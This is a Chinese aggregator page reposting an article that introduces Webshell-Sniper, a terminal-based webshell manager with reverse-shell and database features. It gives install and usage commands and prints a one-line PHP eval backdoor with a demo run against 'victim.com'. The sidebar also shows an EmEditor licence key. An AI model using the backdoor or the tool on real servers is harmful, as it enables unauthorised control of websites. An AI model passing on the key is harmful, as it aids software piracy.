服务粉丝

我们一直在努力
当前位置:首页 > 财经 >

基于终端的Webshell​​管理器-Webshell-Sniper

日期: 来源:LemonSec收集编辑:

Webshell-Sniper是一款使用Python编写的基于终端的Webshell管理器,和以往我们分享的Webshell管理工具有所不同,所有操作都在终端中完成。使用它可对您的网站进行远程管理。虽然它没有图形化的GUI也没有WEB界面,但这样的操作也是另有一翻感觉。

功能

  • 基于终端的shell交互

  • 反向连接shell(这就能做非常多的事了)

  • 数据库管理

Webshell-Sniper安装与使用

环境

服务端 :   Linux   python 2.7客户端 :   apache 2.4   php 7.0

需要注意的是,Webshell-Sniper服务端只支持Unix系统环境。

安装

git clone https://github.com/WangYihang/Webshell-Snipercd Webshell-Sniperpip install -r requirements.txt

使用

Usage :         python webshell-sniper.py [URL] [METHOD] [AUTH]Example :         python webshell-sniper.py http://127.0.0.1/c.php POST c# Demo# cat /var/www/html/index.php<?php eval($_POST['s3cr3t']);?># python webshell-sniper.py http://victim.com/index.php POST s3cr3t...

Webshell-Sniper视频演示

https://www.youtube.com/watch?v=iAUwb8SSS4shttps://asciinema.org/a/130893

侵权请私聊公众号删文


 热文推荐  


欢迎关注LemonSec
觉得不错点个“赞”、“在看“

相关阅读

  • 日志分析技巧

  • 溯源工具推荐工具:EmEditor下载地址:https://zh-cn.emeditor.com正版激活密钥:DMAZM-WHY52-AX222-ZQJXN-79JXH如何用EmEditor对整个文件夹进行查找?1、在搜索菜单中,选择“在文件
  • WSL 2 最佳实践,如何使开发者受益

  • 点击上方蓝字 ● 关注Linux公社 微软近年来为 Windows 10 和 11 带来了很多实用的功能,但对于开发者社区来说,Windows Subsystem for Linux 2 (WSL 2) 可能是最为突出的一
  • 人工智能AIETF(515070)自高点已回调12.47%

  • 人工智能概念板块继续下行调整。截至13:21,太极股份、光环新网、紫光股份跌超8%,人工智能AIETF(515070)跌超3%,短期继续调整,自4月10日高点已回调12.47%。人工智能概念的回调吸引
  • ASRC 2023 年第一季电子邮件安全观察

  • 根据守内安与ASRC (Asia Spam-message Research Center) 研究中心的观察,2023年第一季度,随着全球经济环境的整体复苏,网络攻击者也在蠢蠢欲动:今年第一季整体垃圾邮件及病毒邮
  • 轻量级批量 IP 分析工具 (资产、漏洞)

  • 一个命令行工具,用于快速分析文件中的所有 IP,并查看哪些 IP 具有开放端口/漏洞。也可以从 stdin 馈送数据以在数据管道中使用。0x01 工具安装1、获取适用于您的操作系统的最
  • 湖北利川:农网终端建设助力乡村振兴

  • “将终端打造后,超市生意明显好转,特别是在旅游季节客流量逐渐增多。”4月22日,湖北利川市柏杨镇雷家坪村三组“李启术生活超市”顾客络绎不绝,老板李启术一边忙着收银一边说道
  • “硬核”大喇叭 政府和百姓的好帮手!

  •   4月20日,垦利区文旅局与广电网络垦利分公司对我区应急广播系统设在区区域治理中心的平台和垦利街道七村的终端的主机服务器、网络设备、安全设备,PC终端,机房环境进行现场

热门文章

  • “复活”半年后 京东拍拍二手杀入公益事业

  • 京东拍拍二手“复活”半年后,杀入公益事业,试图让企业捐的赠品、家庭闲置品变成实实在在的“爱心”。 把“闲置品”变爱心 6月12日,“益心一益·守护梦想每一步”2018年四
  • 美国对华2000亿关税清单,到底影响有多大?

  • 1 今天A股大跌,上证最大跌幅超过2%。直接导火索是美国证实计划对华2000亿美元产品加征25%关税。 听起来,2000亿美元数目巨大,我们来算笔账。 2000亿美元,按现在人民币汇率

最新文章

  • 日志分析技巧

  • 溯源工具推荐工具:EmEditor下载地址:https://zh-cn.emeditor.com正版激活密钥:DMAZM-WHY52-AX222-ZQJXN-79JXH如何用EmEditor对整个文件夹进行查找?1、在搜索菜单中,选择“在文件
  • CTF-web--命令注入

  • 大佬总结的文章,本篇文章阅读时间大约30分钟。一 、基本原理命令注入指的是,利用没有验证过的恶意命令或代码,对网站或服务器进行渗透攻击。注入有很多种,并不仅仅只有SQL注入。
  • 银行数据治理:数据质量管理实践

  • 现代商业银行日常经营活动中积累了大量数据,这些数据除了支持银行前台业务流程运转之外,越来越多地被用于决策支持领域,风险控制、产品定价、绩效考核等管理决策过程也都需要大
  • 基于终端的Webshell​​管理器-Webshell-Sniper

  • Webshell-Sniper是一款使用Python编写的基于终端的Webshell管理器,和以往我们分享的Webshell管理工具有所不同,所有操作都在终端中完成。使用它可对您的网站进行远程管理。虽
  • 真正的聪明人,一辈子不会说的三件事

  • 林语堂先生曾说:“要说得巧,要说得少;言多必失,语多必败。”生活中,有多少误解,源自无所顾忌的言辞;多少纷争,起于口无遮拦的发泄;多少烦闷,来自怨天尤人的念叨。很多时候,“少言”比